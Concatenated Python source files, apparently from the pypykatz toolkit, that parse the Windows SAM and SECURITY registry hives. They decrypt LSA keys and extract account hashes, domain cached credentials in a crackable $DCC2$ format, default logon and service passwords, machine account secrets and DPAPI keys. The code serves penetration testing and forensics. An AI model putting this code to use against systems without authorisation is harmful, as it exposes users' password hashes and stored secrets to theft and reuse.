141 for i, item in enumerate(self.__dict__[k]):
142 t += ' %s: %s: %s' % (k, i, str(item))
143 else:
144 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
145 return t
146
147 class USER_ACCOUNT_V:
148 def __init__(self):
149 self.Unknown = None
150 self.NameOffset = None
151 self.NameLength = None
152 self.Unknown2 = None
153 self.FullNameOffset = None
154 self.FullNameLength = None
155 self.Unknown3 = None
156 self.CommentOffset = None
157 self.CommentLength = None
158 self.Unknown31 = None
159 self.UserCommentOffset = None
160 self.UserCommentLength = None
161 self.Unknown4 = None
162 self.Unknown5 = None
163 self.HomeDirOffset = None
164 self.HomeDirLength = None
165 self.Unknown6 = None
166 self.HomeDirConnectOffset = None
167 self.HomeDirConnectLength = None
168 self.Unknown7 = None
169 self.ScriptPathOffset = None
170 self.ScriptPathLength = None
171 self.Unknown8 = None
172 self.ProfilePathOffset = None
173 self.ProfilePathLength = None
174 self.Unknown9 = None
175 self.WorkstationsOffset = None
176 self.WorkstationsLength = None
177 self.Unknown10 = None
178 self.HoursAllowedOffset = None
179 self.HoursAllowedLength = None
180 self.Unknown11 = None
181 self.Unknown12 = None
182 self.LMHashOffset = None
183 self.LMHashLength = None
184 self.Unknown13 = None
185 self.NTHashOffset = None
186 self.NTHashLength = None
187 self.Unknown14 = None
188 self.Unknown15 = None
189 self.Data = None
190
191 self.name = None
192 self.fullname = None
193 self.comment = None
194 self.usercomment = None
195 self.homedir = None
196 self.homedir_connect = None
197 self.script_path = None
198 self.profile_path = None
199 self.profile_path = None
200 self.workstations = None
201 self.hoursallowed = None
202 self.LM_hash = None
203 self.NT_hash = None
204
205 @staticmethod
206 def from_bytes(data):
207 return USER_ACCOUNT_V.from_buffer(io.BytesIO(data))
208
209 @staticmethod
210 def from_buffer(buff):
211 uac = USER_ACCOUNT_V()
212 uac.Unknown = buff.read(12)
213 uac.NameOffset = int.from_bytes(buff.read(4), 'little', signed = False)
214 uac.NameLength = int.from_bytes(buff.read(4), 'little', signed = False)
215 uac.Unknown2 = int.from_bytes(buff.read(4), 'little', signed = False)
216 uac.FullNameOffset = int.from_bytes(buff.read(4), 'little', signed = False)
217 uac.FullNameLength = int.from_bytes(buff.read(4), 'little', signed = False)
218 uac.Unknown3 = int.from_bytes(buff.read(4), 'little', signed = False)
219 uac.CommentOffset = int.from_bytes(buff.read(4), 'little', signed = False)
220 uac.CommentLength = int.from_bytes(buff.read(4), 'little', signed = False)
221 uac.Unknown31 = int.from_bytes(buff.read(4), 'little', signed = False)
222 uac.UserCommentOffset = int.from_bytes(buff.read(4), 'little', signed = False)
223 uac.UserCommentLength = int.from_bytes(buff.read(4), 'little', signed = False)
224 uac.Unknown4 = int.from_bytes(buff.read(4), 'little', signed = False)
225 uac.Unknown5 = buff.read(12)
226 uac.HomeDirOffset = int.from_bytes(buff.read(4), 'little', signed = False)
227 uac.HomeDirLength = int.from_bytes(buff.read(4), 'little', signed = False)
228 uac.Unknown6 = int.from_bytes(buff.read(4), 'little', signed = False)
229 uac.HomeDirConnectOffset = int.from_bytes(buff.read(4), 'little', signed = False)
230 uac.HomeDirConnectLength = int.from_bytes(buff.read(4), 'little', signed = False)
231 uac.Unknown7 = int.from_bytes(buff.read(4), 'little', signed = False)
232 uac.ScriptPathOffset = int.from_bytes(buff.read(4), 'little', signed = False)
233 uac.ScriptPathLength = int.from_bytes(buff.read(4), 'little', signed = False)
234 uac.Unknown8 = int.from_bytes(buff.read(4), 'little', signed = False)
235 uac.ProfilePathOffset = int.from_bytes(buff.read(4), 'little', signed = False)
236 uac.ProfilePathLength = int.from_bytes(buff.read(4), 'little', signed = False)
237 uac.Unknown9 = int.from_bytes(buff.read(4), 'little', signed = False)
238 uac.WorkstationsOffset = int.from_bytes(buff.read(4), 'little', signed = False)
239 uac.WorkstationsLength = int.from_bytes(buff.read(4), 'little', signed = False)
240 uac.Unknown10 = int.from_bytes(buff.read(4), 'little', signed = False)
241 uac.HoursAllowedOffset = int.from_bytes(buff.read(4), 'little', signed = False)
242 uac.HoursAllowedLength = int.from_bytes(buff.read(4), 'little', signed = False)
243 uac.Unknown11 = int.from_bytes(buff.read(4), 'little', signed = False)
244 uac.Unknown12 = buff.read(12)
245 uac.LMHashOffset = int.from_bytes(buff.read(4), 'little', signed = False)
246 uac.LMHashLength = int.from_bytes(buff.read(4), 'little', signed = False)
247 uac.Unknown13 = int.from_bytes(buff.read(4), 'little', signed = False)
248 uac.NTHashOffset = int.from_bytes(buff.read(4), 'little', signed = False)
249 uac.NTHashLength = int.from_bytes(buff.read(4), 'little', signed = False)
250 uac.Unknown14 = int.from_bytes(buff.read(4), 'little', signed = False)
251 uac.Unknown15 = buff.read(24)
252 data_offset = buff.tell()
253
254 if uac.NameLength > 0:
255 buff.seek(data_offset +uac.NameOffset)
256 uac.name = buff.read(uac.NameLength).decode('utf-16-le')
257
258 if uac.FullNameLength > 0:
259 buff.seek(data_offset +uac.FullNameOffset)
260 uac.fullname = buff.read(uac.FullNameLength).decode('utf-16-le')
261 if uac.CommentLength > 0:
262 buff.seek(data_offset +uac.CommentOffset)
263 uac.comment = buff.read(uac.CommentLength).decode('utf-16-le')
264 if uac.UserCommentLength > 0:
265 buff.seek(data_offset +uac.UserCommentOffset)
266 uac.usercomment = buff.read(uac.UserCommentLength).decode('utf-16-le')
267 if uac.HomeDirLength > 0:
268 buff.seek(data_offset +uac.HomeDirOffset)
269 uac.homedir = buff.read(uac.HomeDirLength).decode('utf-16-le')
270 if uac.HomeDirConnectLength > 0:
271 buff.seek(data_offset +uac.HomeDirConnectOffset)
272 uac.homedir_connect = buff.read(uac.HomeDirConnectLength).decode('utf-16-le')
273
274 if uac.ScriptPathLength > 0:
275 buff.seek(data_offset +uac.ScriptPathOffset)
276 uac.script_path = buff.read(uac.ScriptPathLength).decode('utf-16-le')
277 if uac.ProfilePathLength > 0:
278 buff.seek(data_offset +uac.ProfilePathOffset)
279 uac.profile_path = buff.read(uac.ProfilePathLength).decode('utf-16-le')
280 if uac.WorkstationsLength > 0:
281 buff.seek(data_offset +uac.WorkstationsOffset)
282 uac.workstations = buff.read(uac.WorkstationsLength).decode('utf-16-le')
283 if uac.HoursAllowedLength > 0:
284 buff.seek(data_offset +uac.HoursAllowedOffset)
285 uac.hoursallowed = buff.read(uac.HoursAllowedLength)
286
287 if uac.NTHashLength > 0:
288 buff.seek(data_offset + uac.NTHashOffset + 2)
289 if buff.read(1) == b'\x01':
290 if uac.NTHashLength == 20:
291 buff.seek(data_offset + uac.NTHashOffset)
292 uac.NT_hash = SAM_HASH.from_bytes(buff.read(uac.NTHashLength))
293
294 if uac.LMHashLength == 20:
295 buff.seek(data_offset + uac.LMHashOffset)
296 uac.LM_hash = SAM_HASH.from_bytes(buff.read(uac.LMHashLength))
297
298 else:
299 if uac.LMHashLength == 24:
300 buff.seek(data_offset + uac.LMHashOffset)
301 uac.LM_hash = SAM_HASH_AES.from_bytes(buff.read(uac.LMHashLength))
302
303 buff.seek(data_offset +uac.NTHashOffset)
304 uac.NT_hash = SAM_HASH_AES.from_bytes(buff.read(uac.NTHashLength))
305
306 return uac
307
308 def __str__(self):
309 t = '== USER_ACCOUNT_V ==\r\n'
310 for k in self.__dict__:
311 if isinstance(self.__dict__[k], list):
312 for i, item in enumerate(self.__dict__[k]):
313 t += ' %s: %s: %s' % (k, i, str(item))
314 else:
315 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
316 return t
317
318
319 class SAM_HASH:
320 def __init__(self):
321 self.pekID = None
322 self.revision = None
323 self.hash = None
324
325 @staticmethod
326 def from_bytes(data):
327 return SAM_HASH.from_buffer(io.BytesIO(data))
328
329 @staticmethod
330 def from_buffer(buff):
331 sk = SAM_HASH()
332 sk.pekID = int.from_bytes(buff.read(2), 'little', signed = False)
333 sk.revision = int.from_bytes(buff.read(2), 'little', signed = False)
334 sk.hash = buff.read(16)
335 return sk
336
337 def __str__(self):
338 t = '== SAM_HASH ==\r\n'
339 for k in self.__dict__:
340 if isinstance(self.__dict__[k], list):
341 for i, item in enumerate(self.__dict__[k]):
342 t += ' %s: %s: %s' % (k, i, str(item))
343 else:
344 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
345 return t
346
347 class SAM_HASH_AES:
348 def __init__(self):
349 self.pekID = None
350 self.revision = None
351 self.data_offset = None
352 self.salt = None
353 self.data = None
354
355 @staticmethod
356 def from_bytes(data):
357 return SAM_HASH_AES.from_buffer(io.BytesIO(data))
358
359 @staticmethod
360 def from_buffer(buff):
361 sk = SAM_HASH_AES()
362 sk.pekID = int.from_bytes(buff.read(2), 'little', signed = False)
363 sk.revision = int.from_bytes(buff.read(2), 'little', signed = False)
364 sk.data_offset = int.from_bytes(buff.read(4), 'little', signed = False)
365 sk.salt = buff.read(16)
366 sk.data = buff.read()
367 return sk
368
369 def __str__(self):
370 t = '== SAM_HASH_AES ==\r\n'
371 for k in self.__dict__:
372 if isinstance(self.__dict__[k], list):
373 for i, item in enumerate(self.__dict__[k]):
374 t += ' %s: %s: %s' % (k, i, str(item))
375 else:
376 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
377 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
7 from pypykatz.commons.common import hexdump
8
9 #
10 # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive
11 # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret
12 # it will store the decrypted secret in raw bytes
13 #
14 #
15
16 class LSASecret:
17 def __init__(self,key_name, raw_secret, history = False):
18 self.raw_secret = raw_secret
19 self.key_name = key_name
20 self.history = history
21
22 @staticmethod
23 def process(key_name, raw_secret, history = False):
24 kn = key_name.upper()
25 if len(raw_secret) == 0:
26 return
27 if raw_secret.startswith(b'\x00\x00'):
28 return
29
30 if kn.startswith('_SC_'):
31 lss = LSASecretService(kn, raw_secret, history)
32 lss.process_secret()
33
34 elif kn.startswith('DEFAULTPASSWORD'):
35 lss = LSASecretDefaultPassword(kn, raw_secret, history)
36 lss.process_secret()
37
38 elif kn.startswith('ASPNET_WP_PASSWORD'):
39 lss = LSASecretASPNET(kn, raw_secret, history)
40 lss.process_secret()
41
42 elif kn.startswith('DPAPI_SYSTEM'):
43 lss = LSASecretDPAPI(kn, raw_secret, history)
44 lss.process_secret()
45
46 elif kn.startswith('$MACHINE.ACC'):
47 lss = LSASecretMachineAccount(kn, raw_secret, history)
48 lss.process_secret()
49
50 else:
51 lss = LSASecret(kn, raw_secret, history)
52
53 return lss
54
55 def __str__(self):
56 return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret)
57
58 def to_dict(self):
59 t = {}
60 t['type'] = 'LSASecret'
61 t['key_name'] = self.key_name
62 t['history'] = self.history
63 t['raw_secret'] = self.raw_secret
64 return t
65
66 class LSASecretService(LSASecret):
67 def __init__(self, key_name, raw_secret, history):
68 LSASecret.__init__(self, key_name, raw_secret, history)
69 self.service = None
70 self.username = None
71 self.secret = None
72
73 def process_secret(self):
74 try:
75 self.secret = self.raw_secret.decode('utf-16-le')
76 except:
77 pass
78 else:
79 #here you may implement a mechanism to fetch the service user's name
80 #TODO
81 self.service = self.key_name
82 self.username = 'UNKNOWN'
83
84 def __str__(self):
85 return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
86
87 def to_dict(self):
88 t = {}
89 t['type'] = 'LSASecretService'
90 t['key_name'] = self.key_name
91 t['history'] = self.history
92 t['username'] = self.username
93 t['secret'] = self.secret
94 t['service'] = self.service
95 return t
96
97 class LSASecretDefaultPassword(LSASecret):
98 def __init__(self, key_name, raw_secret, history):
99 LSASecret.__init__(self, key_name, raw_secret, history)
100 self.username = None
101 self.secret = None
102
103 def process_secret(self):
104 try:
105 self.secret = self.raw_secret.decode('utf-16-le')
106 except:
107 pass
108 else:
109 #here you may implement a mechanism to fetch the default logon user
110 #TODO
111 self.username = 'UNKNOWN'
112
113 def __str__(self):
114 return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
115
116 def to_dict(self):
117 t = {}
118 t['type'] = 'LSASecretDefaultPassword'
119 t['key_name'] = self.key_name
120 t['history'] = self.history
121 t['username'] = self.username
122 t['secret'] = self.secret
123 return t
124
125 class LSASecretASPNET(LSASecret):
126 def __init__(self, key_name, raw_secret, history):
127 LSASecret.__init__(self, key_name, raw_secret, history)
128 self.username = 'ASPNET'
129 self.secret = None
130
131 def process_secret(self):
132 try:
133 self.secret = self.raw_secret.decode('utf-16-le')
134 except:
135 pass
136
137 def __str__(self):
138 return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
139
140 def to_dict(self):
141 t = {}
142 t['type'] = 'LSASecretASPNET'
143 t['key_name'] = self.key_name
144 t['history'] = self.history
145 t['username'] = self.username
146 t['secret'] = self.secret
147 return t
148
149 class LSASecretMachineAccount(LSASecret):
150 def __init__(self, key_name, raw_secret, history):
151 LSASecret.__init__(self, key_name, raw_secret, history)
152 self.username = None
153 self.secret = None
154 self.kerberos_password = None
155
156 def process_secret(self):
157 #only the NT hash is calculated here
158 ctx = hashlib.new('md4')
159 ctx.update(self.raw_secret)
160 self.secret = ctx.digest()
161
162 #thx dirkjan
163 self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
164
165 def to_dict(self):
166 t = {}
167 t['type'] = 'LSASecretMachineAccount'
168 t['key_name'] = self.key_name
169 t['history'] = self.history
170 t['username'] = self.username
171 t['secret'] = self.secret
172 t['kerberos_password'] = self.kerberos_password
173 return t
174
175 def __str__(self):
176 return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex())
177
178
179 class LSASecretDPAPI(LSASecret):
180 def __init__(self, key_name, raw_secret, history):
181 LSASecret.__init__(self, key_name, raw_secret, history)
182 self.machine_key = None
183 self.user_key = None
184
185 def process_secret(self):
186 ds = DPAPI_SYSTEM.from_bytes(self.raw_secret)
187 self.machine_key = ds.machine_key
188 self.user_key = ds.user_key
189
190 def to_dict(self):
191 t = {}
192 t['type'] = 'LSASecretDPAPI'
193 t['key_name'] = self.key_name
194 t['history'] = self.history
195 t['machine_key'] = self.machine_key
196 t['user_key'] = self.user_key
197 return t
198
199 def __str__(self):
200 return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex())
201
202 class LSADCCSecret:
203 def __init__(self, version, domain, username, hash_value, iteration = None):
204 self.version = version
205 self.domain = domain
206 self.username = username
207 self.iteration = iteration
208 self.hash_value = hash_value
209
210 def to_dict(self):
211 t = {}
212 t['version'] = self.version
213 t['domain'] = self.domain
214 t['username'] = self.username
215 t['iteration'] = self.iteration
216 t['hash_value'] = self.hash_value
217 return t
218
219 def __str__(self):
220 return self.to_lopth()
221
222 def to_lopth(self):
223 if self.version == 1:
224 return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username)
225 else:
226 return "%s/%s:$DCC2$%s#%s#%s" % (self.domain, self.username, self.iteration, self.username, self.hash_value.hex())
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 import hmac
7 from pypykatz.registry.sam.structures import *
8 from pypykatz.crypto.RC4 import RC4
9 from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
10 from pypykatz.crypto.des import *
11
12
13 #####
14 from pypykatz.registry.security.structures import *
15 from pypykatz.registry.security.common import *
16 from pypykatz.registry import logger
17 from pypykatz.commons.common import hexdump
18
19 #
20 # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine
21 # It also holds the machine account's password in an encrypted form
22 #
23 # The LSA secrets also stored here, but their format is not always documented,
24 # as this functionality can be used by any service that wants to stroe some secret information
25
26 class SECURITY:
27 def __init__(self, security_hive, bootkey):
28 self.hive = security_hive
29 self.bootkey = bootkey
30
31 self.dcc_iteration_count = 10240
32 self.lsa_secret_key_vista_type = True
33
34 self.lsa_key = None
35 self.NKLM_key = None
36
37 self.dcc_hashes = []
38 self.cached_secrets = []
39
40 @staticmethod
41 def sha256_multi(key, value, rounds = 1000):
42 ctx = hashlib.sha256(key)
43 for i in range(rounds):
44 ctx.update(value)
45 return ctx.digest()
46
47 def decrypt_lsa_key(self, data):
48 logger.debug('[SECURITY] Decrypting LSA key...')
49 if self.lsa_secret_key_vista_type is True:
50 record = LSA_SECRET.from_bytes(data)
51 key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
52 secret_dec = b''
53 cipher = AESModeOfOperationECB(key)
54 n = 16
55 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
56 if len(block) < n:
57 block += b'\x00' * (n - len(block))
58 secret_dec += cipher.decrypt(block)
59 record = LSA_SECRET_BLOB.from_bytes(secret_dec)
60 self.lsa_key = record.secret[52:][:32]
61
62 else:
63 ctx = hashlib.md5(self.bootkey)
64 for i in range(1000):
65 ctx.update(data[60:76])
66
67 cipher = RC4(ctx.digest())
68 record = cipher.decrypt(data[12:60])
69 self.lsa_key = record[0x10:0x20]
70
71 logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex())
72 return self.lsa_key
73
74
75 def get_lsa_key(self):
76 logger.debug('[SECURITY] Fetching LSA key...')
77 value = self.hive.get_value('Policy\\PolEKList\\default', False)
78 if value is None:
79 value = self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False)
80 if not value:
81 logger.debug('[SECURITY] LSA key not found!')
82 return None
83
84 self.lsa_secret_key_vista_type = False
85 logger.debug('[SECURITY] LSA secrets default to VISTA type')
86
87 return self.decrypt_lsa_key(value[1])
88
89
90 def decrypt_secret(self, key, value):
91 dec_blob = b''
92 enc_size = int.from_bytes(value[:4], 'little', signed = False)
93 value = value[len(value) - enc_size:]
94 t_key = key
95 for _ in range(0, len(value), 8):
96 enc_blob = value[:8]
97 des_key = expand_DES_key(t_key[:7])
98 ctx = des(des_key)
99 dec_blob += ctx.decrypt(enc_blob)
100 t_key = t_key[7:]
101 value = value[8:]
102 if len(t_key) < 7:
103 t_key = key[len(t_key) : ]
104
105 secret = LSA_SECRET_XP.from_bytes(dec_blob)
106 return secret.secret
107
108 def get_NKLM_key(self):
109 logger.debug('[SECURITY] Fetching NK$LM key...')
110 if self.lsa_key is None:
111 self.get_lsa_secret_key()
112
113 value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default')
114 if value is None:
115 logger.error('[SECURITY] Could not find NL$KM in registry')
116 raise Exception('Could not find NL$KM in registry :(')
117
118 if self.lsa_secret_key_vista_type is True:
119 self.NKLM_key = b''
120 record = LSA_SECRET.from_bytes(value[1])
121 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
122 cipher = AESModeOfOperationECB(key)
123 n = 16
124 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
125 if len(block) < n:
126 block += b'\x00' * (16 - len(block))
127 self.NKLM_key += cipher.decrypt(block)
128
129 else:
130 self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1])
131
132 logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex())
133 return self.NKLM_key
134
135 def __pad(self, data):
136 if (data & 0x3) > 0:
137 return data + (data & 0x3)
138 else:
139 return data
140
141 def dump_dcc(self):
142 logger.debug('[SECURITY] dump_dcc invoked')
143 cache_reg = self.hive.find_key('Cache', False)
144 if cache_reg is None:
145 logger.debug('[SECURITY] No DCC secrets found')
146 return
147 values = self.hive.list_values(cache_reg)
148
149 if values == []:
150 logger.debug('[SECURITY] No DCC secrets found')
151 return
152
153 if b'NL$Control' in values:
154 values.remove(b'NL$Control')
155
156 if b'NL$IterationCount' in values:
157 logger.debug('[SECURITY] DCC Setting iteration count')
158 values.remove(b'NL$IterationCount')
159 record = self.getValue('Cache\\NL$IterationCount')[1]
160 if record > 10240:
161 self.dcc_iteration_count = record & 0xfffffc00
162 else:
163 self.dcc_iteration_count = record * 1024
164
165
166 self.get_lsa_key()
167 self.get_NKLM_key()
168
169 for value in values:
170 logger.debug('[SECURITY] DCC Checking value: %s' % value)
171 record_data = self.hive.get_value('Cache\\%s' % value.decode())[1]
172 record = NL_RECORD.from_bytes(record_data)
173
174 if record.IV != b'\x00'*16:
175 if record.Flags & 1 == 1:
176 # Encrypted
177 if self.lsa_secret_key_vista_type is True:
178 plaintext = b''
179 cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
180 n = 16
181 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround
182 if len(block) < 16:
183 block += b'\x00' * (16 - len(block))
184 plaintext += cipher.decrypt(block)
185
186 else:
187 key = hmac.new(self.NKLM_key,record.IV).digest()
188 cipher = RC4(key)
189 plaintext = cipher.decrypt(record.EncryptedData)
190
191 else:
192 # Plain! Until we figure out what this is, we skip it
193 #plainText = record['EncryptedData']
194 logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value)
195 continue
196
197
198 dcc_hash = plaintext[:0x10]
199 blob = io.BytesIO(plaintext[0x48:])
200 username = blob.read(record.UserLength).decode('utf-16-le')
201 blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength))
202 domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le')
203
204 version = 2 if self.lsa_secret_key_vista_type is True else 1
205 secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count)
206 self.dcc_hashes.append(secret)
207
208 return self.dcc_hashes
209
210 def get_secrets(self):
211 logger.debug('[SECURITY] get_secrets')
212 self.get_lsa_key()
213
214 self.dump_dcc()
215
216 # Let's first see if there are cached entries
217 keys = self.hive.enum_key('Policy\\Secrets')
218 if keys is None:
219 logger.debug('[SECURITY] No cached secrets found in hive')
220 return
221
222 if b'NL$Control' in keys:
223 keys.remove(b'NL$Control')
224
225 for key_name in keys:
226 for vl in ['CurrVal', 'OldVal']:
227 key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl)
228 logger.debug('[SECURITY] Parsing secrets in %s' % key_path)
229 v = self.hive.get_value(key_path, False)
230 if v and v[1] != 0:
231 logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1]))
232 if self.lsa_secret_key_vista_type is True:
233 record = LSA_SECRET.from_bytes(v[1])
234 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
235 secret_dec = b''
236 cipher = AESModeOfOperationECB(key)
237 n = 16
238 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
239 if len(block) < n:
240 block += b'\x00' * (n - len(block))
241 secret_dec += cipher.decrypt(block)
242 record = LSA_SECRET_BLOB.from_bytes(secret_dec)
243 dec_blob = record.secret
244
245 else:
246 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
247
248 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
249 if secret is not None:
250 self.cached_secrets.append(secret)
251
252 else:
253 logger.debug('[SECURITY] Could not open %s, skipping!' % key_path)
254
255 def to_dict(self):
256 t = {}
257 t['dcc_iteration_count'] = self.dcc_iteration_count
258 t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD'
259 t['lsa_key'] = self.lsa_key
260 t['NK$LM'] = None
261 if self.NKLM_key is not None:
262 t['NK$LM'] = self.NKLM_key
263 t['dcc'] = []
264 for secret in self.dcc_hashes:
265 t['dcc'].append(secret.to_dict())
266 t['cached_secrets'] = []
267 for secret in self.cached_secrets:
268 t['cached_secrets'].append(secret.to_dict())
269 return t
270
271 def __str__(self):
272 t = '============== SECURITY hive secrets ==============\r\n'
273 t += 'Iteration count: %s\r\n' % self.dcc_iteration_count
274 t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD'
275 t += 'LSA Key: %s\r\n' % self.lsa_key.hex()
276 if self.NKLM_key is not None:
277 t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex()
278 for secret in self.dcc_hashes:
279 t += '%s\r\n' % secret.to_lopth()
280 for secret in self.cached_secrets:
281 t += '%s\r\n' % str(secret)
282 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import enum
6 import io
7
8 class LSA_SECRET_BLOB:
9 def __init__(self):
10 self.legnth = None
11 self.unk = None
12 self.secret = None
13 #self.remaining = None
14
15 @staticmethod
16 def from_bytes(data):
17 return LSA_SECRET_BLOB.from_buffer(io.BytesIO(data))
18
19 @staticmethod
20 def from_buffer(buff):
21 sk = LSA_SECRET_BLOB()
22 sk.legnth = int.from_bytes(buff.read(4), 'little', signed = False)
23 sk.unk = buff.read(12)
24 sk.secret = buff.read(sk.legnth)
25 return sk
26
27 def __str__(self):
28 t = '== LSA_SECRET_BLOB ==\r\n'
29 for k in self.__dict__:
30 if isinstance(self.__dict__[k], list):
31 for i, item in enumerate(self.__dict__[k]):
32 t += ' %s: %s: %s' % (k, i, str(item))
33 else:
34 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
35 return t
36
37
38 class LSA_SECRET:
39 def __init__(self):
40 self.version = None
41 self.enc_key_id = None
42 self.enc_algo = None
43 self.flags = None
44 self.data = None
45
46 @staticmethod
47 def from_bytes(data):
48 return LSA_SECRET.from_buffer(io.BytesIO(data))
49
50 @staticmethod
51 def from_buffer(buff):
52 sk = LSA_SECRET()
53 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
54 sk.enc_key_id = buff.read(16)
55 sk.enc_algo = int.from_bytes(buff.read(4), 'little', signed = False)
56 sk.flags = int.from_bytes(buff.read(4), 'little', signed = False)
57 sk.data = buff.read()
58
59 return sk
60
61 def __str__(self):
62 t = '== LSA_SECRET ==\r\n'
63 for k in self.__dict__:
64 if isinstance(self.__dict__[k], list):
65 for i, item in enumerate(self.__dict__[k]):
66 t += ' %s: %s: %s' % (k, i, str(item))
67 else:
68 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
69 return t
70
71 class LSA_SECRET_XP:
72 def __init__(self):
73 self.legnth = None
74 self.version = None
75 self.secret = None
76
77 @staticmethod
78 def from_bytes(data):
79 return LSA_SECRET_XP.from_buffer(io.BytesIO(data))
80
81 @staticmethod
82 def from_buffer(buff):
83 sk = LSA_SECRET_XP()
84 sk.legnth = int.from_bytes(buff.read(4), 'little', signed = False)
85 sk.version = int.from_bytes(buff.read(4), 'little', signed = False)
86 sk.secret = buff.read(sk.legnth)
87
88 return sk
89
90 def __str__(self):
91 t = '== LSA_SECRET_XP ==\r\n'
92 for k in self.__dict__:
93 if isinstance(self.__dict__[k], list):
94 for i, item in enumerate(self.__dict__[k]):
95 t += ' %s: %s: %s' % (k, i, str(item))
96 else:
97 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
98 return t
99
100
101 class NL_RECORD:
102 def __init__(self):
103 self.UserLength = None
104 self.DomainNameLength = None
105 self.EffectiveNameLength = None
106 self.FullNameLength = None
107 self.LogonScriptName = None
108 self.ProfilePathLength = None
109 self.HomeDirectoryLength = None
110 self.HomeDirectoryDriveLength = None
111 self.UserId = None
112 self.PrimaryGroupId = None
113 self.GroupCount = None
114 self.logonDomainNameLength = None
115 self.unk0 = None
116 self.LastWrite = None
117 self.Revision = None
118 self.SidCount = None
119 self.Flags = None
120 self.unk1 = None
121 self.LogonPackageLength = None
122 self.DnsDomainNameLength = None
123 self.UPN = None
124 self.IV = None
125 self.CH = None
126 self.EncryptedData = None
127
128 @staticmethod
129 def from_bytes(data):
130 return NL_RECORD.from_buffer(io.BytesIO(data))
131
132 @staticmethod
133 def from_buffer(buff):
134 nl = NL_RECORD()
135 nl.UserLength = int.from_bytes(buff.read(2), 'little', signed = False)
136 nl.DomainNameLength = int.from_bytes(buff.read(2), 'little', signed = False)
137 nl.EffectiveNameLength = int.from_bytes(buff.read(2), 'little', signed = False)
138 nl.FullNameLength = int.from_bytes(buff.read(2), 'little', signed = False)
139 nl.LogonScriptName = int.from_bytes(buff.read(2), 'little', signed = False)
140 nl.ProfilePathLength = int.from_bytes(buff.read(2), 'little', signed = False)
141 nl.HomeDirectoryLength = int.from_bytes(buff.read(2), 'little', signed = False)
142 nl.HomeDirectoryDriveLength = int.from_bytes(buff.read(2), 'little', signed = False)
143 nl.UserId = int.from_bytes(buff.read(4), 'little', signed = False)
144 nl.PrimaryGroupId = int.from_bytes(buff.read(4), 'little', signed = False)
145 nl.GroupCount = int.from_bytes(buff.read(4), 'little', signed = False)
146 nl.logonDomainNameLength = int.from_bytes(buff.read(2), 'little', signed = False)
147 nl.unk0 = int.from_bytes(buff.read(2), 'little', signed = False)
148 nl.LastWrite = int.from_bytes(buff.read(8), 'little', signed = False)
149 nl.Revision = int.from_bytes(buff.read(4), 'little', signed = False)
150 nl.SidCount = int.from_bytes(buff.read(4), 'little', signed = False)
151 nl.Flags = int.from_bytes(buff.read(4), 'little', signed = False)
152 nl.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
153 nl.LogonPackageLength = int.from_bytes(buff.read(4), 'little', signed = False)
154 nl.DnsDomainNameLength = int.from_bytes(buff.read(2), 'little', signed = False)
